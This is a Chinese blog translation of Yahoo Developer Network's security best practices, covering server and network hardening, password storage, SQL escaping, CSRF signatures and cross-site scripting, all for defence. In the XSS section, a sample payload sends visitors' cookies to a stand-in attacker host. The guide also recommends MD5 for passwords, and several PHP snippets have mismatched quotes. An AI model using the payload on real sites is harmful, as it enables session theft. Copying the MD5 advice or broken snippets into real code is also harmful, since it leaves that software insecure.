【译】最佳安全实践——来自雅虎开发者网络

2010年2月9日 由 Hackfan | 有 1,502 人次阅读 留言 »

【原文】http://developer.yahoo.com/security/

【译文】http://jiy.hu/security-best-practices

【译者】Hujiy ( Hackfan )

Yahoo在处理用户个人资料安全性的问题上,十分谨慎,我们希望我们的开发者也同样如此。以下是一些指导,帮助你保护你的应用程序用户的信任。

  • 保护你的服务器
  • 保护你的网络
  • 保护你的应用
  • 防止伪造请求
  • 防止跨站脚本
  • 保护你的服务器

    首先,确保你给系统打上了最新的安全补丁。如果你无法操作自己专用的服务器,请询问你的主机商,他们是否保持系统处于最新版。

    • 确保你已安装了操作系统的最新安全补丁。
    • 保持你的Web服务器软件处于最新版
    • 限制来自Internet的访问。通过防火墙软件来阻止除以下端口外的访问:
      • 80 (HTTP)
      • 443 (HTTPS – 仅当你的应用程序使用时)
      • 22 (SSH)
    • 使用 SSH/SCP 远程登录并上传文件。Telnet与FTP以明文的形式传输密码,黑客很容易嗅探到你的密码。
    • 选择一个不容易被猜到的密码。黑客们常常使用“字典攻击”来猜测Web服务器的密码。选择的密码最好是大小写字母、数字、符号($#@%^&*)的组合。

    保护你的网络

    确保暴露给Internet的所有服务都是你想让用户访问的。

    • 将用户并不需要直接访问的服务器(如后台数据库服务器),置于Internet无法访问到的局域网中。如果做不到的话,使用防火墙软件来阻止除你的服务器以外的计算机访问后台服务器。

    保护你的应用

    绝大多数用户资料的丢失,与应用错误或者安全漏洞有关。以下是建立安全的Internet应用的一些基本准则:

    • 不要存储密码明文。与之对应的,使用散列算法,如MD5或SHA-256,为用户密码建立签名并存储。验证时,只需再次应用散列算法,将用户登录的密码签名与存储的密码签名相比较即可。
    • 如果你使用Cookies来识别用户,不要简单的将用户名存储于Cookies并以此作为验证依据。这样会让黑客很容易的猜测并构造身份。相反,可以基于登录名与密码,为每个登录用户生成一个唯一的签名,并将此签名存放于Cookies中。
    • 在你的应用中,小心检查每个传入SQL语句的参数。未加验证的用户输入,能轻易地劫持并洗劫你的数据库。PHP的函数 mysql_real_escape_string() 能组织大多数这类的攻击。
    • 定期清理系统中用不到的或不必要的用户数据。这将在攻击者成功控制你的系统后,在一定程度上的减少损失。

    防止伪造请求

    验证访问请求是从你的应用发出的。

    假设你有一个程序能管理照片。程序通过一个URL来删除用户所有的照片(如“http://myapp.org/delete_photos.php”)。攻击者可以通过在他的网站上插入这个URL,如<img src=”http://myapp.org/delete_photos.php” />。当你的用户访问攻击者提供的网页时,他的照片将被删除。

    以下有几个方法来验证请求是从你的应用发出的:

    首先,考虑你是否可以通过POST方式来代替GET方式获得请求。W3C建议当请求将修改服务器端资源或者数据时,使用POST。

    在URL后增加用户特定的签名。

    <?php
    $delete_signature = md5($username . "xyz123_delete_photos");
    ?>
    
    <!-- 签名链接 -->
    
    <a href="/delete_photos.php?signature=<?php echo $delete_signature; ?>'>删除照片</a>

    在处理与用户数据相关的操作前,检查“签名”参数是否与之前指定的相同。

    <?php
    $delete_signature = md5($username . "xyz123_delete_photos");
    
    if ($_GET['signature'] === $delete_signature) {
    // 处理删除操作
    // ...
    } else {
    // 有问题
    // ...
    }
    ?>

    如果你的开发框架支持用户会话容器(如PHP),可以将带有时间戳的唯一的签名存放于会话中,并将他插入你的表单、URL中,以传递回服务器。仅当签名验证后,才进行具体操作,并增加过期验证。

    <?php
    $_SESSION['signature'] = md5(uniqid(rand(), true) + $username);
    $_SESSION['signature_timestamp'] = time();
    ?>
    
    <!-- 签名链接 -->
    <a href="/delete_photos.php?signature=<?php echo $_SESSION['signature']; ?>'>删除照片</a>
    
    <!-- 签名表单 -->
    <form method="POST' action="/edit_photos.php'>
    <input type="hidden' name="signature' value="<?php echo $_SESSION['signature']; ?>'/>
    
    <input type="text' name="search"/>
    <input type="提交" />
    </form>

    防止跨站脚本

    当你将某个用户的输入显示给其他用户时,你需确保该用户的输入不会窃取其他用户的资料。

    举例来说,如果你有一个留言板功能,用户可以留言或查看其他人的留言,攻击者也许会留下如下留言:

    大家好!<script>document.write("<img src="http://evilhacker.org/?" + document.cookie + "'>);</script>
    

    以上代码会将查看此留言的用户Cookies发送到攻击者的网络。为了防止这类攻击,根据规则检查用户所有的输入。使用白名单(“仅能使用白名单中的字符”)来过滤用户输入。在很多情况下,字符<和>需要被过滤掉。

    标签:, , , , , , , , ,

    相关日志

    1条评论

    留下评论